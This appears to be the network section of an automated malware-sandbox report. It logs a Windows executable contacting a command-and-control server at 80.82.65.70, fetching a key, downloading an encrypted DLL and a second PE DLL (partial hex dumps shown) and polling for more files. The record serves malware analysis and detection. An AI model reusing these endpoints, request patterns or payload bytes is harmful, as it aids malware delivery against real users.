Dec 12, 2024 20:37:06.524841070 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.525067091 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.525662899 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.525710106 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.525840998 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.525887012 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.526618004 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.526668072 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.526823044 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.527664900 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.527717113 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.527925014 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.527972937 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.528531075 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.528611898 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.528769970 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.528830051 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.529531956 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.529580116 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.529736042 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.529927015 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.530560970 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.530607939 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.530718088 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.530776978 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.531445026 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.531496048 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.531714916 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.531768084 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.532774925 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.532866001 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.533087969 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.533133984 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.534095049 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.534113884 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.534146070 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.534178972 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.534959078 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.535037994 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.535289049 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.535337925 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.535677910 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.535723925 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.536012888 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.536070108 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.582314968 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.582859993 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:09.562390089 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:09.562493086 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:28.667953968 CET	49738	80	192.168.2.4	80.82.65.70

HTTP Request Dependency Graph

80.82.65.70

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	80.82.65.70	80	7260	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 20:36:28.780109882 CET	412	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:30.150923014 CET	204	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:36:29 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 20:36:30.163161039 CET	386	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:30.643356085 CET	224	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:36:30 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 12, 2024 20:36:30.648472071 CET	391	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:31.221276999 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:36:30 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 12, 2024 20:36:31.221587896 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 12, 2024 20:36:31.221626043 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 12, 2024 20:36:31.222301006 CET	1236	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 12, 2024 20:36:31.222337008 CET	1236	IN	Data Raw: 65 3b 47 31 40 6c 58 a4 f2 72 e0 62 45 fe 13 75 f3 bf 71 98 82 ed 0b 91 d9 fa 6f fb bb 0c b6 96 17 6c 50 87 9d 6a f0 e3 e5 e5 17 2f 04 e1 78 4b 7b ec a4 0a 66 3a c7 1b de e3 06 f4 33 94 a4 66 e3 66 11 87 2a 50 e7 5f f0 a7 8b 90 b0 e7 20 a1 56 ea Data Ascii: e;G1@lXrbEuqolPj/xK{f:3ff*P_ VufJJh2~Uz=;6DmjDX,t3{etiOaB?hcMT#iHyKg7`Cx6'JgYOL(>@2O0inol%t-9'
Dec 12, 2024 20:36:31.223033905 CET	1236	IN	Data Raw: 18 fc a2 90 2b 67 71 38 68 4e e5 23 79 cf 33 c9 7b 68 89 24 07 d9 65 9b c2 05 5b 73 79 a0 fa 5d 0b 18 e7 03 da 3c 02 9a eb 59 06 94 8c a5 f8 69 3f f6 01 62 ec cb f9 de 45 fa 09 83 a3 f7 21 af d3 6f d5 a4 26 c7 c1 ee 10 d1 cd 23 d9 b7 3d bf ce a7 Data Ascii: +gq8hN#y3{h$e[sy]<Yi?bE!o&#=fmCALA-0BiwXV-+[X>Og{:i{It_v50#xa=cWBd/QFI6N' 3F$R/3Oqt]uqp3GU@(
Dec 12, 2024 20:36:31.223069906 CET	776	IN	Data Raw: 86 d0 0e 0e f5 2b 0b f5 8d f7 79 40 71 81 e1 45 02 36 97 09 61 9b 5f dc b2 b1 d0 95 a0 5d 70 7b 40 b1 c5 76 fa 38 88 2f 7c 5a a9 00 9d 47 93 df 14 da 54 c6 55 b5 fc 8e fd 29 bf 7f d9 f7 52 82 c1 5f b3 a1 7d bb 48 e0 29 38 0d 63 13 83 b6 e2 b0 e0 Data Ascii: +y@qE6a_]p{@v8/\|ZGTU)R_}H)8c'ATd10?lg;&jg8KnWwD0a_r+42}20.u~Q$z2i@=sdkO8m(pC
Dec 12, 2024 20:36:31.223881006 CET	1236	IN	Data Raw: 51 8c 48 de 53 42 b3 9f 80 87 2d 00 76 d3 fc 30 3c 83 c1 20 e0 19 63 5c 90 b2 04 84 74 4d ee b0 63 ca e0 5b 54 34 e0 b0 f7 41 75 d5 78 78 63 0d a0 9e 2a 2b f7 eb a9 e9 0b 68 09 4d fb eb 1e bd b6 67 1b d2 43 5d 60 b9 3d 6f ab 38 4d 7d 6b a9 2b 07 Data Ascii: QHSB-v0< c\tMc[T4Auxxc*+hMgC]`=o8M}k+B[5Nx62G(%OrKv5H0Uq`42p0;U&lV)h,t7jUHroBA#- Rvc+xuT$yQ;)D<1:XRE^7ipg/
Dec 12, 2024 20:36:31.223917961 CET	1236	IN	Data Raw: 1c d9 36 dc 92 56 13 9a 51 8a a2 a9 0e fc 39 5f 6e 2d b9 8d e0 d2 d3 5c 6a 73 c6 14 6b 12 37 fc bf d4 72 b5 69 16 1b 78 a8 61 23 1d bc 76 79 fe dd 91 43 5c 3c bd c9 13 b3 37 77 e7 cd 06 ea 13 c0 0f 04 ec 03 ed 73 bc 35 aa 38 c2 33 99 76 c7 02 3d Data Ascii: 6VQ9_n-\jsk7rixa#vyC\<7ws583v=w,"Zf`>]6%""4Y8}p+[aM}<Q8,R\;(!y7\|@s(gYK&&nB<H3Qh-`
Dec 12, 2024 20:36:31.229329109 CET	1236	IN	Data Raw: ef 68 0f 83 0f f0 5b 39 d3 77 ad 42 87 cf 4e b4 0d bb fa 83 0c 3a ef c1 8d 12 d6 44 1e 47 2a 54 02 3b 5e 57 62 0d 49 59 7a ac 9e 07 46 c7 d1 73 3d 66 c2 12 95 81 9f d8 97 75 8e c2 f3 f1 0c 05 1d 0a 2e 94 1b f8 94 69 74 00 f7 75 20 0a a5 a0 43 7b Data Ascii: h[9wBN:DGT;^WbIYzFs=fu.itu C{`94gkda6U#VoTT<{TIgB)v\+ \3By=~Q2}H}izsGv>sH4w3gWM\|E j;
Dec 12, 2024 20:36:31.229563951 CET	1236	IN	Data Raw: d8 e7 cd 7a b9 3d 65 1d e3 53 4f ba c4 27 67 75 c2 8a 09 90 d7 29 ff 9b a4 c5 23 eb 3d 0f 7e 44 08 72 16 c5 97 00 82 bd 3f 5f fe 45 6b 78 d3 20 e8 97 e7 c3 79 43 ee d8 53 3c da ff e2 30 1a 6b df 7b 29 c3 d8 ce 51 74 dc dd eb 44 b2 90 75 04 b3 08 Data Ascii: z=eSO'gu)#=~Dr?_Ekx yCS<0k{)QtDuuM5:1hJ5A\*3x>olqm%o85$<(+#.Rk6FUbw[bbK[FV%#33<ilf.JiN<T=
Dec 12, 2024 20:36:31.823015928 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:32.324702024 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:36:32 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 20:36:34.344139099 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:34.835808039 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:36:34 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 20:36:36.860116005 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:37.346852064 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:36:37 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 20:36:39.359942913 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:39.850330114 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:36:39 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 20:36:41.875593901 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:42.368520021 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:36:42 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 20:36:44.391014099 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:44.885339975 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:36:44 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 20:36:46.906734943 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:47.393452883 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:36:47 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 20:36:49.412817955 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:49.906650066 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:36:49 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 20:36:51.953537941 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:52.447676897 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:36:52 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 20:36:54.469207048 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:54.781296968 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:55.093574047 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:55.619333982 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:36:55 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 20:36:57.641522884 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:36:58.133022070 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:36:57 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	80.82.65.70	80	7260	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 20:37:01.308549881 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 20:37:02.807089090 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 19:37:02 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Dec 12, 2024 20:37:02.807189941 CET	1236	IN	Data Raw: 00 00 0a 28 76 00 00 0a 2a 8a 02 7b 23 00 00 04 02 7b 23 00 00 04 6f 77 00 00 0a 02 6f 78 00 00 0a 28 2b 00 00 06 6f 79 00 00 0a 2a a6 02 7b 1f 00 00 04 2c 0e 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2b 0c 02 02 7b 21 00 00 04 6f 6f 00 00 0a 02 28 32 Data Ascii: (v{#{#owox(+oy{,{ oo+{!oo(2z,{",{"o/(z((X[((X[((X[(q~(-(-(*~to(3to^(
